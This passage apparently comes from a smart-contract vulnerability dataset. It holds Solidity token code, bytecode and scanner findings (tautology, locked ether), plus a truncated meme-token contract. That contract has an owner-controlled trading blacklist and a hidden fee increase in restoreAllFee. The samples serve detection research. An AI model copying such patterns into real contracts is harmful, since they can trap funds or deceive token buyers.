* @dev Transfer tokens to multiple addresses
* @param _addresses The addresses that will receieve tokens
* @param _amounts The quantity of tokens that will be transferred
* @return True if the tokens are transferred correctly
*/
function transferForMultiAddresses(address[] _addresses, uint256[] _amounts) canTransfer public returns (bool) {
for (uint256 i = 0; i < _addresses.length; i++) {
require(_addresses[i] != address(0));
require(_amounts[i] <= balances[msg.sender]);
require(_amounts[i] > 0);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_amounts[i]);
balances[_addresses[i]] = balances[_addresses[i]].add(_amounts[i]);
Transfer(msg.sender, _addresses[i], _amounts[i]);
}
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() only(ifoodDev) canMint public returns (bool) {
mintingFinished = true;
MintFinished(msg.sender);
return true;
}
function getCurrentBlockNumber() private view returns (uint256) {
return block.number;
}
function () public payable {
revert();
}
}
|
0x606060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063027ec8481461017a57806305d2035b1461019d57806306fdde03146101ca578063095ea7b31461025857806312dc34a0146102b257806318160ddd146102c7578063204009d2146102f0578063206288d3146103a2578063234e5f16146103cb57806323b872dd146103f4578063269f46631461046d5780632aa4c051146104c7578063313ce567146105005780634da1397c1461052f57806356f1dd6b1461055857806370a08231146105ad5780637d64bcb4146105fa57806392ff0d311461062757806395d89b41146106545780639b98a94b146106e25780639cd2370714610736578063a9059cbb1461075b578063b5bb5ee4146107b5578063bb102aea1461080f578063bcfaa79d14610838578063dca6058c14610889578063dd62ed3e146108b6578063e2c8609214610922578063fe8d640c14610977575b600080fd5b341561018557600080fd5b61019b60048080359060200190919050506109b0565b005b34156101a857600080fd5b6101b0610a88565b604051808215151515815260200191505060405180910390f35b34156101d557600080fd5b6101dd610a9b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021d578082015181840152602081019050610202565b50505050905090810190601f16801561024a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561026357600080fd5b610298600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b39565b604051808215151515815260200191505060405180910390f35b34156102bd57600080fd5b6102c5610cc2565b005b34156102d257600080fd5b6102da610dab565b6040518082815260200191505060405180910390f35b34156102fb57600080fd5b61038860048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610db1565b604051808215151515815260200191505060405180910390f35b34156103ad57600080fd5b6103b56110f3565b6040518082815260200191505060405180910390f35b34156103d657600080fd5b6103de6110f9565b6040518082815260200191505060405180910390f35b34156103ff57600080fd5b610453600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110ff565b604051808215151515815260200191505060405180910390f35b341561047857600080fd5b6104ad600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114e1565b604051808215151515815260200191505060405180910390f35b34156104d257600080fd5b6104fe600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611765565b005b341561050b57600080fd5b6105136118c1565b604051808260ff1660ff16815260200191505060405180910390f35b341561053a57600080fd5b6105426118d4565b6040518082815260200191505060405180910390f35b341561056357600080fd5b61056b6118da565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105b857600080fd5b6105e4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611900565b6040518082815260200191505060405180910390f35b341561060557600080fd5b61060d611949565b604051808215151515815260200191505060405180910390f35b341561063257600080fd5b61063a611a2a565b604051808215151515815260200191505060405180910390f35b341561065f57600080fd5b610667611a3d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106a757808201518184015260208101905061068c565b50505050905090810190601f1680156106d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156106ed57600080fd5b610719600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611adb565b604051808381526020018281526020019250505060405180910390f35b341561074157600080fd5b61075960048080351515906020019091905050611bab565b005b341561076657600080fd5b61079b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611c9a565b604051808215151515815260200191505060405180910390f35b34156107c057600080fd5b6107f5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611ee1565b604051808215151515815260200191505060405180910390f35b341561081a57600080fd5b610822612108565b6040518082815260200191505060405180910390f35b341561084357600080fd5b61086f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061210e565b604051808215151515815260200191505060405180910390f35b341561089457600080fd5b61089c612457565b604051808215151515815260200191505060405180910390f35b34156108c157600080fd5b61090c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061246a565b6040518082815260200191505060405180910390f35b341561092d57600080fd5b6109356124f1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561098257600080fd5b6109ae600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612517565b005b600a60009054906101000a900460ff161515156109cc57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a2957600080fd5b611c208210151515610a3a57600080fd5b81600c819055503373ffffffffffffffffffffffffffffffffffffffff167f0396975844671389fa17a3a7695b8bd9f31c23d3d058f0706b1b75319dfd744260405160405180910390a25050565b600a60009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b315780601f10610b0657610100808354040283529160200191610b31565b820191906000526020600020905b815481529060010190602001808311610b1457829003601f168201915b505050505081565b6000808214158015610bc857506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610bd257600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d1f57600080fd5b6001600d60006101000a81548160ff0219169083151502179055506000600d60016101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167fa587cd36fc5173263bcfc28c8fa5b785fb89e0c74ac952d6a3554aa83b5012146000604051808215151515815260200191505060405180910390a250565b60005481565b60008060011515600d60009054906101000a900460ff161515141515610dd657600080fd5b600090505b83518110156110e857600073ffffffffffffffffffffffffffffffffffffffff168482815181101515610e0a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515610e3757600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548382815181101515610e8557fe5b9060200190602002015111151515610e9c57600080fd5b60008382815181101515610eac57fe5b90602001906020020151111515610ec257600080fd5b610f2b8382815181101515610ed357fe5b90602001906020020151600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265190919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fee8382815181101515610f7f57fe5b90602001906020020151600360008785815181101515610f9b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266a90919063ffffffff16565b60036000868481518110151561100057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550838181518110151561105657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85848151811015156110bc57fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050610ddb565b600191505092915050565b600b5481565b611c2081565b600060011515600d60009054906101000a900460ff16151514151561112357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561115f57600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156111ad57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561123857600080fd5b61128a82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265190919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061131f82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113f182600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265190919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600080600086600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561152657600080fd5b600a60009054906101000a900460ff1615151561154257600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561159f57600080fd5b6000881115156115ae57600080fd5b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549550858887011015151561160457600080fd5b6000549450848886011015151561161a57600080fd5b6009548886011115151561162d57600080fd5b61163689611900565b9350838885011015151561164957600080fd5b61165c888761266a90919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506116aa612688565b92506116c1600c548461266a90919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055508873ffffffffffffffffffffffffffffffffffffffff167ff409fb63c43f80749c0457905d6ca20dea860144ecf394abef251fbc6dd4eb51896040518082815260200191505060405180910390a26001965050505050505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117c257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561182157600080fd5b82600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167febd1bd8795461b00d2a963bc34c633a0d7b6c340f8ee42978fdb76526c9b63b360405160405180910390a3505050565b600860009054906101000a900460ff1681565b600c5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119a857600080fd5b600a60009054906101000a900460ff161515156119c457600080fd5b6001600a60006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167f39b5ca6d4234a87b875f701a848e24d718e9f824d12099eec3c01762383b04ee60405160405180910390a2600191505090565b600d60009054906101000a900460ff1681565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ad35780601f10611aa857610100808354040283529160200191611ad3565b820191906000526020600020905b815481529060010190602001808311611ab657829003601f168201915b505050505081565b60008082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611b1b57600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549250925050915091565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c0857600080fd5b60011515600d60019054906101000a900460ff161515141515611c2a57600080fd5b81600d60006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167f166d463a272e44b1c12f674f66ba19df53561af84c4a617a0011e78db3d5c22183604051808215151515815260200191505060405180910390a25050565b600060011515600d60009054906101000a900460ff161515141515611cbe57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611cfa57600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d4857600080fd5b611d9a82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265190919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e2f82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611f2157600080fd5b600a60009054906101000a900460ff16151515611f3d57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f9a57600080fd5b600085111515611fa957600080fd5b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154925060008584031015151561200057600080fd5b612013858461265190919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600085840314156120ad576000600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b8573ffffffffffffffffffffffffffffffffffffffff167fb6eefe5d57aeb45d2fb03cb184c9808f5694f3201515c33e5c40ab637af4352c866040518082815260200191505060405180910390a26001935050505092915050565b60095481565b600080600080600a60009054906101000a900460ff1615151561213057600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561218d57600080fd5b85600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156121ca57600080fd5b6121d2612688565b600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101541115151561222257600080fd5b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015494506000549350838585011015151561227d57600080fd5b6009548585011115151561229057600080fd5b61229987611900565b925082858401101515156122ac57600080fd5b6122bf858561266a90919063ffffffff16565b6000819055506122d8858461266a90919063ffffffff16565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506000600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055508673ffffffffffffffffffffffffffffffffffffffff167f7b47457f3af09e5f794b020fd74160963a808f5985883496a096d403d380c343866040518082815260200191505060405180910390a28673ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3600195505050505050919050565b600d60019054906101000a900460ff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561257457600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156125b157600080fd5b82600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fd19ae8d678e9eae98753582dadce83a764fa65e219308d166336736cc938ddf460405160405180910390a3505050565b600082821115151561265f57fe5b818303905092915050565b600080828401905083811015151561267e57fe5b8091505092915050565b6000439050905600a165627a7a7230582080e0b1a15be92368579c6772ff209c469f9dcda457bbc3839ab174eb9019bdbf0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 7,812 |
0x83d4cf08be796a08041a71152b653c828211c866
|
// https://t.me/lilflokiceo
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LilFlokiCeo is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "LilFlokiCeo";
string private constant _symbol = "LILFLOKICEO";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
